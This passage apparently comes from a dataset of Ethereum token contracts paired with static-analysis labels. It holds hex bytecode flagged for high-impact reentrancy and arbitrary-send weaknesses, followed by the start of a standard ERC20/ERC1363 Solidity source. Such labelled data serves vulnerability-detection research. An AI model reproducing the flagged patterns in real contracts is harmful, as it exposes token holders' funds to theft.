ffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610af3906133c2565b915050610a47565b5050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b406112ad565b73ffffffffffffffffffffffffffffffffffffffff1614610b6057600080fd5b6000610b6b30610787565b9050610b7681611e0c565b50565b610b816112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0590612fec565b60405180910390fd5b601160149054906101000a900460ff1615610c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c559061306c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cf230601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166c0c9f2c9cd04674edea400000006112b5565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3857600080fd5b505afa158015610d4c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d709190612979565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dd257600080fd5b505afa158015610de6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e0a9190612979565b6040518363ffffffff1660e01b8152600401610e27929190612e3c565b602060405180830381600087803b158015610e4157600080fd5b505af1158015610e55573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e799190612979565b601160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610f0230610787565b600080610f0d61092b565b426040518863ffffffff1660e01b8152600401610f2f96959493929190612e8e565b6060604051808303818588803b158015610f4857600080fd5b505af1158015610f5c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f819190612b25565b5050506001601160166101000a81548160ff0219169083151502179055506001601160176101000a81548160ff021916908315150217905550673afb087b876900006012819055506001601160146101000a81548160ff021916908315150217905550601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611083929190612e65565b602060405180830381600087803b15801561109d57600080fd5b505af11580156110b1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110d59190612ad3565b5050565b6110e16112ad565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461116e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116590612fec565b60405180910390fd5b600081116111b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a890612fac565b60405180910390fd5b6111e460646111d6836c0c9f2c9cd04674edea4000000061210690919063ffffffff16565b61218190919063ffffffff16565b6012819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60125460405161121b91906130ac565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611325576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131c9061304c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611395576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138c90612f6c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161147391906130ac565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114f0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114e79061302c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790612f2c565b60405180910390fd5b600081116115a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159a9061300c565b60405180910390fd5b6115ab61092b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561161957506115e961092b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7c57601160179054906101000a900460ff161561184c573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169b57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116f55750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561174f5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184b57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117956112ad565b73ffffffffffffffffffffffffffffffffffffffff16148061180b5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117f36112ad565b73ffffffffffffffffffffffffffffffffffffffff16145b61184a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118419061308c565b60405180910390fd5b5b5b60125481111561185b57600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118ff5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61190857600080fd5b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119b35750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611a095750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a215750601160179054906101000a900460ff165b15611ac25742600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a7157600080fd5b601e42611a7e91906131e2565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611acd30610787565b9050601160159054906101000a900460ff16158015611b3a5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b525750601160169054906101000a900460ff165b15611b7a57611b6081611e0c565b60004790506000811115611b7857611b7747611ca3565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c235750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2d57600090505b611c39848484846121cb565b50505050565b6000838311158290611c87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c7e9190612f0a565b60405180910390fd5b5060008385611c9691906132c3565b9050809150509392505050565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cf360028461218190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d1e573d6000803e3d6000fd5b50600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6f60028461218190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d9a573d6000803e3d6000fd5b5050565b6000600854821115611de5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ddc90612f4c565b60405180910390fd5b6000611def6121f8565b9050611e04818461218190919063ffffffff16565b915050919050565b6001601160156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e6a577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e985781602001602082028036833780820191505090505b5090503081600081518110611ed6577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7857600080fd5b505afa158015611f8c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fb09190612979565b81600181518110611fea577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061205130601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112b5565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120b59594939291906130c7565b600060405180830381600087803b1580156120cf57600080fd5b505af11580156120e3573d6000803e3d6000fd5b50505050506000601160156101000a81548160ff02191690831515021790555050565b600080831415612119576000905061217b565b600082846121279190613269565b90508284826121369190613238565b14612176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216d90612fcc565b60405180910390fd5b809150505b92915050565b60006121c383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612223565b905092915050565b806121d9576121d8612286565b5b6121e48484846122c9565b806121f2576121f1612494565b5b50505050565b60008060006122056124a8565b9150915061221c818361218190919063ffffffff16565b9250505090565b6000808311829061226a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122619190612f0a565b60405180910390fd5b50600083856122799190613238565b9050809150509392505050565b6000600a5414801561229a57506000600b54145b156122a4576122c7565b600a54600c81905550600b54600d819055506000600a819055506000600b819055505b565b6000806000806000806122db87612516565b95509550955095509550955061233986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257e90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123ce85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c890919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061241a81612626565b61242484836126e3565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248191906130ac565b60405180910390a3505050505050505050565b600c54600a81905550600d54600b81905550565b6000806000600854905060006c0c9f2c9cd04674edea4000000090506124e66c0c9f2c9cd04674edea4000000060085461218190919063ffffffff16565b821015612509576008546c0c9f2c9cd04674edea40000000935093505050612512565b81819350935050505b9091565b60008060008060008060008060006125338a600a54600b5461271d565b92509250925060006125436121f8565b905060008060006125568e8787876127b3565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125c083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c3f565b905092915050565b60008082846125d791906131e2565b90508381101561261c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161261390612f8c565b60405180910390fd5b8091505092915050565b60006126306121f8565b90506000612647828461210690919063ffffffff16565b905061269b81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c890919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f88260085461257e90919063ffffffff16565b600881905550612713816009546125c890919063ffffffff16565b6009819055505050565b600080600080612749606461273b888a61210690919063ffffffff16565b61218190919063ffffffff16565b905060006127736064612765888b61210690919063ffffffff16565b61218190919063ffffffff16565b9050600061279c8261278e858c61257e90919063ffffffff16565b61257e90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127cc858961210690919063ffffffff16565b905060006127e3868961210690919063ffffffff16565b905060006127fa878961210690919063ffffffff16565b9050600061282382612815858761257e90919063ffffffff16565b61257e90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061284f61284a84613161565b61313c565b9050808382526020820190508285602086028201111561286e57600080fd5b60005b8581101561289e578161288488826128a8565b845260208401935060208301925050600181019050612871565b5050509392505050565b6000813590506128b78161379f565b92915050565b6000815190506128cc8161379f565b92915050565b600082601f8301126128e357600080fd5b81356128f384826020860161283c565b91505092915050565b60008135905061290b816137b6565b92915050565b600081519050612920816137b6565b92915050565b600081359050612935816137cd565b92915050565b60008151905061294a816137cd565b92915050565b60006020828403121561296257600080fd5b6000612970848285016128a8565b91505092915050565b60006020828403121561298b57600080fd5b6000612999848285016128bd565b91505092915050565b600080604083850312156129b557600080fd5b60006129c3858286016128a8565b92505060206129d4858286016128a8565b9150509250929050565b6000806000606084860312156129f357600080fd5b6000612a01868287016128a8565b9350506020612a12868287016128a8565b9250506040612a2386828701612926565b9150509250925092565b60008060408385031215612a4057600080fd5b6000612a4e858286016128a8565b9250506020612a5f85828601612926565b9150509250929050565b600060208284031215612a7b57600080fd5b600082013567ffffffffffffffff811115612a9557600080fd5b612aa1848285016128d2565b91505092915050565b600060208284031215612abc57600080fd5b6000612aca848285016128fc565b91505092915050565b600060208284031215612ae557600080fd5b6000612af384828501612911565b91505092915050565b600060208284031215612b0e57600080fd5b6000612b1c84828501612926565b91505092915050565b600080600060608486031215612b3a57600080fd5b6000612b488682870161293b565b9350506020612b598682870161293b565b9250506040612b6a8682870161293b565b9150509250925092565b6000612b808383612b8c565b60208301905092915050565b612b95816132f7565b82525050565b612ba4816132f7565b82525050565b6000612bb58261319d565b612bbf81856131c0565b9350612bca8361318d565b8060005b83811015612bfb578151612be28882612b74565b9750612bed836131b3565b925050600181019050612bce565b5085935050505092915050565b612c1181613309565b82525050565b612c208161334c565b82525050565b6000612c31826131a8565b612c3b81856131d1565b9350612c4b81856020860161335e565b612c5481613498565b840191505092915050565b6000612c6c6023836131d1565b9150612c77826134a9565b604082019050919050565b6000612c8f602a836131d1565b9150612c9a826134f8565b604082019050919050565b6000612cb26022836131d1565b9150612cbd82613547565b604082019050919050565b6000612cd5601b836131d1565b9150612ce082613596565b602082019050919050565b6000612cf8601d836131d1565b9150612d03826135bf565b602082019050919050565b6000612d1b6021836131d1565b9150612d26826135e8565b604082019050919050565b6000612d3e6020836131d1565b9150612d4982613637565b602082019050919050565b6000612d616029836131d1565b9150612d6c82613660565b604082019050919050565b6000612d846025836131d1565b9150612d8f826136af565b604082019050919050565b6000612da76024836131d1565b9150612db2826136fe565b604082019050919050565b6000612dca6017836131d1565b9150612dd58261374d565b602082019050919050565b6000612ded6011836131d1565b9150612df882613776565b602082019050919050565b612e0c81613335565b82525050565b612e1b8161333f565b82525050565b6000602082019050612e366000830184612b9b565b92915050565b6000604082019050612e516000830185612b9b565b612e5e6020830184612b9b565b9392505050565b6000604082019050612e7a6000830185612b9b565b612e876020830184612e03565b9392505050565b600060c082019050612ea36000830189612b9b565b612eb06020830188612e03565b612ebd6040830187612c17565b612eca6060830186612c17565b612ed76080830185612b9b565b612ee460a0830184612e03565b979650505050505050565b6000602082019050612f046000830184612c08565b92915050565b60006020820190508181036000830152612f248184612c26565b905092915050565b60006020820190508181036000830152612f4581612c5f565b9050919050565b60006020820190508181036000830152612f6581612c82565b9050919050565b60006020820190508181036000830152612f8581612ca5565b9050919050565b60006020820190508181036000830152612fa581612cc8565b9050919050565b60006020820190508181036000830152612fc581612ceb565b9050919050565b60006020820190508181036000830152612fe581612d0e565b9050919050565b6000602082019050818103600083015261300581612d31565b9050919050565b6000602082019050818103600083015261302581612d54565b9050919050565b6000602082019050818103600083015261304581612d77565b9050919050565b6000602082019050818103600083015261306581612d9a565b9050919050565b6000602082019050818103600083015261308581612dbd565b9050919050565b600060208201905081810360008301526130a581612de0565b9050919050565b60006020820190506130c16000830184612e03565b92915050565b600060a0820190506130dc6000830188612e03565b6130e96020830187612c17565b81810360408301526130fb8186612baa565b905061310a6060830185612b9b565b6131176080830184612e03565b9695505050505050565b60006020820190506131366000830184612e12565b92915050565b6000613146613157565b90506131528282613391565b919050565b6000604051905090565b600067ffffffffffffffff82111561317c5761317b613469565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131ed82613335565b91506131f883613335565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561322d5761322c61340b565b5b828201905092915050565b600061324382613335565b915061324e83613335565b92508261325e5761325d61343a565b5b828204905092915050565b600061327482613335565b915061327f83613335565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132b8576132b761340b565b5b828202905092915050565b60006132ce82613335565b91506132d983613335565b9250828210156132ec576132eb61340b565b5b828203905092915050565b600061330282613315565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061335782613335565b9050919050565b60005b8381101561337c578082015181840152602081019050613361565b8381111561338b576000848401525b50505050565b61339a82613498565b810181811067ffffffffffffffff821117156133b9576133b8613469565b5b80604052505050565b60006133cd82613335565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613400576133ff61340b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137a8816132f7565b81146137b357600080fd5b50565b6137bf81613309565b81146137ca57600080fd5b50565b6137d681613335565b81146137e157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208db0df53f65764f86747d048b77008530578f55ac785b03679d83687daca67cb64736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 9,665 |
0x5d20fc07cd66da1b51499b6ef457c11bc83f293b | /**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_decimals = 18;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
abstract contract ERC20Burnable is Context, ERC20 {
using SafeMath for uint256;
function burn(uint256 amount) public virtual {
_burn(_msgSender(), amount);
}
function burnFrom(address account, uint256 amount) public virtual {
uint256 decreasedAllowance = allowance(account, _msgSender()).sub(amount, "ERC20: burn amount exceeds allowance");
_approve(account, _msgSender(), decreasedAllowance);
_burn(account, amount);
}
}
abstract contract ERC20Capped is ERC20 {
using SafeMath for uint256;
uint256 private _cap;
constructor (uint256 cap_) {
require(cap_ > 0, "ERC20Capped: cap is 0");
_cap = cap_;
}
function cap() public view returns (uint256) {
return _cap;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override {
super._beforeTokenTransfer(from, to, amount);
if (from == address(0)) { // When minting tokens
require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded");
}
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
interface IERC1363 is IERC20, IERC165 {
function transferAndCall(address to, uint256 value) external returns (bool);
function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool);
function transferFromAndCall(address from, address to, uint256 value) external returns (bool);
function transferFromAndCall(address from, address to, uint256 value, bytes calldata data) external returns (bool);
function approveAndCall(address spender, uint256 value) external returns (bool);
function approveAndCall(address spender, uint256 value, bytes calldata data) external returns (bool);
}
interface IERC1363Receiver {
function onTransferReceived(address operator, address from, uint256 value, bytes calldata data) external returns (bytes4);
}
interface IERC1363Spender {
function onApprovalReceived(address owner, uint256 value, bytes calldata data) external returns (bytes4);
}
library ERC165Checker {
bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff;
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
function supportsERC165(address account) internal view returns (bool) {
return _supportsERC165Interface(account, _INTERFACE_ID_ERC165) &&
!_supportsERC165Interface(account, _INTERFACE_ID_INVALID);
}
function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) {
return supportsERC165(account) &&
_supportsERC165Interface(account, interfaceId);
}
function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) {
if (!supportsERC165(account)) {
return false;
}
for (uint256 i = 0; i < interfaceIds.length; i++) {
if (!_supportsERC165Interface(account, interfaceIds[i])) {
return false;
}
}
return true;
}
function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) {
(bool success, bool result) = _callERC165SupportsInterface(account, interfaceId);
return (success && result);
}
function _callERC165SupportsInterface(address account, bytes4 interfaceId)
private
view
returns (bool, bool)
{
bytes memory encodedParams = abi.encodeWithSelector(_INTERFACE_ID_ERC165, interfaceId);
(bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams);
if (result.length < 32) return (false, false);
return (success, abi.decode(result, (bool)));
}
}
abstract contract ERC165 is IERC165 {
bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7;
